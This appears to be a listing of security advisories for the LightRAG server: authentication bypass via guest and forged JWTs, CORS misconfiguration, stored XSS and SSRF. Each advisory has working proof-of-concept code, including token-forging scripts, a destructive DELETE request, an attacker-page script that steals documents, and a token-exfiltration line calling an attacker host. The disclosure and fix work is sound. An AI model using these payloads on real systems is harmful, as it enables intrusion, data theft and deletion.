lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:
```
if not auth_configured and token_info.get("role") == "guest":
    return
```

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

Read and delete arbitrary documents (/documents, DELETE /documents)
Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
Clear LLM / embedding caches (/documents/clear_cache)
Inspect and mutate the knowledge graph (/graph/*)
Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

main through commit 157c331 (2026-04-15)
Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-61736 PYSEC-2026-3474 GHSA-6x6h-qqr7-855w Jul 23, 2026

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

9.3 / 10

Critical

Network Low None Required Changed High High None

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-39413 PYSEC-2026-2592 GHSA-8ffj-4hx4-9pgf Jul 13, 2026

lightrag-hku: JWT Algorithm Confusion Vulnerability

4.2 / 10

Medium

Network High High Required Unchanged High None None

Summary

The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

Details

In lightrag/api/auth.py at line 128, the validate_token method calls:

payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])

This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

PoC

An attacker can generate a JWT with the following structure:

{
  "header": {
    "alg": "none",
    "typ": "JWT"
  },
  "payload": {
    "sub": "admin",
    "exp": 1700000000,
    "role": "admin"
  }
}

Then send a request like:

curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint

Impact

An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

Recommended Fix

Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:

allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)

Or better yet, hardcode the expected algorithm(s):

payload = jwt.decode(token, self.secret, algorithms=['HS256'])

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 65 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.14

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-30762 PYSEC-2026-2593 GHSA-mcww-4hxq-hfr3 Jul 13, 2026

LightRAG: Hardcoded JWT Signing Secret Allows Authentication Bypass

7.5 / 10

High

Network Low None None Unchanged High None None

Subject: Security Vulnerability Report Hardcoded JWT Secret (CVE-2026-30762)

Hi HKUDS team,

I'm writing to report a security vulnerability I discovered in LightRAG v1.4.10. This has been assigned CVE-2026-30762 by MITRE.

Vulnerability: Hardcoded JWT signing secret Type: Improper Authentication (CWE-287) Severity: High Attack Vector: Remote / Unauthenticated

Summary: The file lightrag/api/config.py (line 397) uses a default JWT secret "lightrag-jwt-default-secret" when the TOKEN_SECRET environment variable is not set. The AuthHandler in lightrag/api/auth.py (lines 24-25) uses this secret to sign and verify tokens. An unauthenticated attacker can forge valid JWT tokens using the publicly known default secret and gain access to any protected endpoint.

Reproduction:

Install LightRAG v1.4.10 with AUTH_ACCOUNTS configured but no TOKEN_SECRET set
Use PyJWT to sign a token: jwt.encode({"sub": "admin", "role": "user"}, "lightrag-jwt-default-secret", algorithm="HS256")
Send a request to any protected endpoint with the header: Authorization: Bearer <forged_token>
Access is granted without valid credentials

Suggested Fix: Require TOKEN_SECRET to be explicitly set when AUTH_ACCOUNTS is configured. Refuse to start the API server if authentication is enabled but no custom secret is provided.

I'm following a 90-day responsible disclosure timeline from today's date. Please let me know if you have any questions or need additional information.

Best regards, Venkata Avinash Taduturi

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 64 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.13

References

Updated Jul 13, 2026 · Source: OSV.dev

Oct 22, 2025

1.4.9.4rc1 pre

9 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, _validated_addresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not is_global. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

Package: lightrag-hku (LightRAG), the native markdown image-download path.
Component: lightrag/parser/markdown/parser.py, guard _validated_addresses() (the if not (ip.is_global or ...) check), reached from _download() -> _build_guarded_opener().open(req).
Enabled by default: download_enabled = _env_bool("NATIVE_MD_IMAGE_DOWNLOAD_ENABLED", True).
Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64).
Precondition: the caller can upload a document (API key via Depends(combined_auth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

| Form | address | is_global | guard verdict | |---|---|---|---| | plain internal 127.0.0.1 | 127.0.0.1 | False | BLOCK (correct) | | IPv4-mapped | ::ffff:7f00:1 | False | BLOCK (correct) | | NAT64 64:ff9b::/96 | 64:ff9b::7f00:1 | True | PASS (bypass) | | NAT64 RFC8215 64:ff9b:1::/48 | 64:ff9b:1::7f00:1 | True | PASS (bypass) | | IPv4-compatible ::a.b.c.d | ::7f00:1 | True | PASS (bypass) | | 6to4 2002::/16 | 2002:7f00:1:: | True | PASS (bypass) |

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

Environment: three Docker containers on an IPv6-enabled network - an internal victim (10.66.0.2:80, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning 64:ff9b::/96 that forwards [64:ff9b::0a42:0002]:80 to 10.66.0.2:80, and an attacker host with a client-side route 64:ff9b::/96 via <gateway>. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (_validated_addresses, _host_is_public, _build_guarded_opener, the _Guarded*Connection/Handler classes, sliced verbatim from v1.5.4 parser.py, only the logger import shimmed) plus a verbatim reproduction of the released _download() scheme and host precheck. Trigger in production: an uploaded document containing ![x](http://[64:ff9b::<internal-hex>]/a.png).

RUN 1, released v1.5.4 guard (VULNERABLE):

attack URL = http://[64:ff9b::0a42:0002]:80/logo.png
===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : PASSED (fetched)
SECRET LEAKED : True
body          : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = True
plain_internal_blocked        = True
public_still_fetched          = True

RUN 2, one-line-class decode fix applied (same inputs, same network):

===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : BLOCKED at guard: non-public host blocked
SECRET LEAKED : False
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = False
plain_internal_blocked        = True
public_still_fetched          = True

Fix-correctness matrix (isolated): genuine global IPv6 2606:4700:4700::1111 and 2001:4860:4860::8888 -> ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -> BLOCK; NAT64 of a public IPv4 (64:ff9b::808:808 = 8.8.8.8) -> ALLOW.

Impact

A caller who can upload a markdown or textpack document (textpack uploads route to the native engine with zero config; markdown reaches it when the native engine is selected) can make the LightRAG server issue HTTP requests to internal-only addresses that the SSRF guard is meant to forbid, and the fetched body is ingested. On a deployment with NAT64/DNS64 routing this reaches cloud instance metadata (169.254.169.254, 100.100.100.200), loopback services, and RFC1918 internal hosts, exposing IAM credentials and internal service data.

Suggested fix

Decode the embedded IPv4 of any IPv6 transition wrapper and classify by the embedded IPv4 before the is_global check:

def _unwrap_embedded_ipv4(ip):
    """Return the IPv4 embedded in an IPv6 transition wrapper (IPv4-mapped,
    IPv4-compatible, NAT64 64:ff9b::/96 and RFC8215 64:ff9b:1::/48, 6to4
    2002::/16) so it is classified by IPv4 rules; else return ip unchanged."""
    if ip.version != 6:
        return ip
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if getattr(ip, "sixtofour", None) is not None:
        return ip.sixtofour
    b = ip.packed
    if b[:12] == b"\x00" * 12 and b[12:] not in (b"\x00\x00\x00\x00", b"\x00\x00\x00\x01"):
        return ip_address(b[12:])
    if b[:12] == b"\x00\x64\xff\x9b" + b"\x00" * 8:
        return ip_address(b[12:])
    if b[:6] == b"\x00\x64\xff\x9b\x00\x01":
        return ip_address(b[12:])
    return ip

Then in _validated_addresses:

judged = _unwrap_embedded_ipv4(ip)
if not (judged.is_global or any(ip in net for net in allow)):
    return []

Verified: this blocks the NAT64/IPv4-compat/6to4 internal forms while genuine public IPs and public NAT64-wrapped IPs still pass.

Resolution

Addressed by #3426 (pending merge), targeted for release in lightrag-hku 1.5.5. _validated_addresses() now decides global-routability by starting from the stdlib's is_global on the literal and only ever tightening it — the guard is never more permissive than ipaddress itself:

Fixed-position transition wrappers are decoded and the embedded IPv4 must also be global (IPv4-mapped ::ffff:0:0/96, IPv4-compatible ::/96, and the NAT64 well-known prefix 64:ff9b::/96 — RFC 6052 §2.2, contiguous low-32 embedding). So 64:ff9b::7f00:1 (→ loopback) is blocked while 64:ff9b::808:808 (→ public 8.8.8.8) still passes.
Blocks whose embedded-IPv4 position must not be trusted are default-denied as whole blocks, independent of the interpreter: the RFC 8215 local-use prefix 64:ff9b:1::/48 (technology-agnostic, embedded-IPv4 position not guaranteed per RFC 8215 §5 — a fixed-offset decode is itself bypassable, e.g. 64:ff9b:1:7f00:0:100:808:808 encodes 127.0.0.1 but its low 32 bits read as public 8.8.8.8) and 6to4 2002::/16 (IANA global-reachability N/A; current CPython classifies the whole block non-global — RFC 7526 deprecated only the 6to4 anycast relay path, not the 2002::/16 prefix itself). Decoding 6to4 by its embedded IPv4 would have re-permitted 2002::/16 addresses the stdlib already blocks, so it is denied outright instead.

Genuine global IPv6 and a NAT64 wrapper of a public IPv4 still pass; regression tests cover every wrapped form of loopback / RFC1918 / metadata, the RFC 6052 /48 suffix bypass, and 6to4 of a public IPv4. Boundary: a NAT64 deployment using a custom, globally-routable Network-Specific Prefix (RFC 6052 permits any /32../96), or a genuine local NAT64 / legacy 6to4 in the force-denied blocks, is not auto-permitted — such operators should pin the download egress or set NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS deliberately.

Credit

tonghuaroot (tonghuaroot@gmail.com).

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

